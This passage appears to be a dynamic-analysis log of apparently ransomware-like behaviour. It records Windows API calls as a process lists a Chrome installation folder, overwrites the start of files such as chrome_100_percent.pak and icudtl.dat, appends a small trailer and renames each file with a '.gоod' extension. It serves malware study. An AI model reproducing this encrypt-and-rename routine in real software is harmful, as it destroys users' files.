ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516566d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36315, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46b976b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46b976b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516fa004, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xd37e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="RESOUR~1.PAK")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51701534, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x175b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swiftshader", cAlternateFileName="SWIFTS~1")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.569] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec690) returned 1 [0089.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec650) returned 1 [0089.570] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x0) returned 0x54 [0089.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0089.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x3726f80 | out: lpFileInformation=0x3726f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x513c8214, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb65d3)) returned 1 [0089.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0089.570] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x0) returned 0x54 [0089.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0089.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0089.570] GetFileType (hFile=0x7b0) returned 0x1 [0089.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0089.570] GetFileType (hFile=0x7b0) returned 0x1 [0089.570] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x1000 [0089.571] ReadFile (in: hFile=0x7b0, lpBuffer=0x37273f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec528, lpOverlapped=0x0 | out: lpBuffer=0x37273f8*, lpNumberOfBytesRead=0x1fbec528*=0x1000, lpOverlapped=0x0) returned 1 [0089.573] CloseHandle (hObject=0x7b0) returned 1 [0089.573] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x0) returned 0x54 [0089.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0089.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0089.573] GetFileType (hFile=0x7b0) returned 0x1 [0089.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0089.573] GetFileType (hFile=0x7b0) returned 0x1 [0089.573] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0xb65d3 [0089.573] WriteFile (in: hFile=0x7b0, lpBuffer=0x372a990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec448, lpOverlapped=0x0 | out: lpBuffer=0x372a990*, lpNumberOfBytesWritten=0x1fbec448*=0x10, lpOverlapped=0x0) returned 1 [0089.600] CloseHandle (hObject=0x7b0) returned 1 [0089.600] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x0) returned 0x54 [0089.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0089.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0089.601] GetFileType (hFile=0x7b0) returned 0x1 [0089.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0089.601] GetFileType (hFile=0x7b0) returned 0x1 [0089.601] ReadFile (in: hFile=0x7b0, lpBuffer=0x3781e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3781e80*, lpNumberOfBytesRead=0x1fbec4d8*=0x1000, lpOverlapped=0x0) returned 1 [0090.194] CloseHandle (hObject=0x7b0) returned 1 [0090.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x0) returned 0x54 [0090.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0090.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0090.195] GetFileType (hFile=0x7b0) returned 0x1 [0090.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0090.195] GetFileType (hFile=0x7b0) returned 0x1 [0090.195] WriteFile (in: hFile=0x7b0, lpBuffer=0x32bcff0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbec588, lpOverlapped=0x0 | out: lpBuffer=0x32bcff0*, lpNumberOfBytesWritten=0x1fbec588*=0x1010, lpOverlapped=0x0) returned 1 [0090.195] CloseHandle (hObject=0x7b0) returned 1 [0090.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x0) returned 0x54 [0090.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak.gоod", lpFilePart=0x0) returned 0x59 [0090.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0090.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x31fa3cc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb65e3)) returned 1 [0090.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0090.196] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak.gоod")) returned 1 [0090.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x0) returned 0x54 [0090.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0090.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x3317c40 | out: lpFileInformation=0x3317c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51f4fca4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xf37fc)) returned 1 [0090.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0090.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x0) returned 0x54 [0090.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0090.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0090.197] GetFileType (hFile=0x7b0) returned 0x1 [0090.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0090.197] GetFileType (hFile=0x7b0) returned 0x1 [0090.197] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x1000 [0090.197] ReadFile (in: hFile=0x7b0, lpBuffer=0x33180b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec528, lpOverlapped=0x0 | out: lpBuffer=0x33180b8*, lpNumberOfBytesRead=0x1fbec528*=0x1000, lpOverlapped=0x0) returned 1 [0090.199] CloseHandle (hObject=0x7b0) returned 1 [0090.199] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x0) returned 0x54 [0090.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0090.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0090.199] GetFileType (hFile=0x7b0) returned 0x1 [0090.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0090.199] GetFileType (hFile=0x7b0) returned 0x1 [0090.199] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0xf37fc [0090.199] WriteFile (in: hFile=0x7b0, lpBuffer=0x3319560*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec448, lpOverlapped=0x0 | out: lpBuffer=0x3319560*, lpNumberOfBytesWritten=0x1fbec448*=0x10, lpOverlapped=0x0) returned 1 [0090.201] CloseHandle (hObject=0x7b0) returned 1 [0090.201] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x0) returned 0x54 [0090.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0090.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0090.201] GetFileType (hFile=0x7b0) returned 0x1 [0090.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0090.201] GetFileType (hFile=0x7b0) returned 0x1 [0090.201] ReadFile (in: hFile=0x7b0, lpBuffer=0x331b870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec4d8, lpOverlapped=0x0 | out: lpBuffer=0x331b870*, lpNumberOfBytesRead=0x1fbec4d8*=0x1000, lpOverlapped=0x0) returned 1 [0091.201] CloseHandle (hObject=0x7b0) returned 1 [0091.201] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x0) returned 0x54 [0091.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.201] GetFileType (hFile=0x7b0) returned 0x1 [0091.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.201] GetFileType (hFile=0x7b0) returned 0x1 [0091.201] WriteFile (in: hFile=0x7b0, lpBuffer=0x3300918*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbec588, lpOverlapped=0x0 | out: lpBuffer=0x3300918*, lpNumberOfBytesWritten=0x1fbec588*=0x1010, lpOverlapped=0x0) returned 1 [0091.201] CloseHandle (hObject=0x7b0) returned 1 [0091.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x0) returned 0x54 [0091.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak.gоod", lpFilePart=0x0) returned 0x59 [0091.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0091.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3292d519, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf380c)) returned 1 [0091.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0091.202] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak.gоod")) returned 1 [0091.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0091.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0091.203] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), fInfoLevelId=0x0, lpFileInformation=0x34e2de0 | out: lpFileInformation=0x34e2de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830)) returned 1 [0091.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0091.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0091.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.204] GetFileType (hFile=0x7b0) returned 0x1 [0091.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.204] GetFileType (hFile=0x7b0) returned 0x1 [0091.204] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x1000 [0091.204] ReadFile (in: hFile=0x7b0, lpBuffer=0x34e31f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec528, lpOverlapped=0x0 | out: lpBuffer=0x34e31f8*, lpNumberOfBytesRead=0x1fbec528*=0x1000, lpOverlapped=0x0) returned 1 [0091.206] CloseHandle (hObject=0x7b0) returned 1 [0091.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0091.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.206] GetFileType (hFile=0x7b0) returned 0x1 [0091.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.206] GetFileType (hFile=0x7b0) returned 0x1 [0091.206] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x9b9830 [0091.206] WriteFile (in: hFile=0x7b0, lpBuffer=0x34e44f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec448, lpOverlapped=0x0 | out: lpBuffer=0x34e44f0*, lpNumberOfBytesWritten=0x1fbec448*=0x10, lpOverlapped=0x0) returned 1 [0091.208] CloseHandle (hObject=0x7b0) returned 1 [0091.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x0) returned 0x48 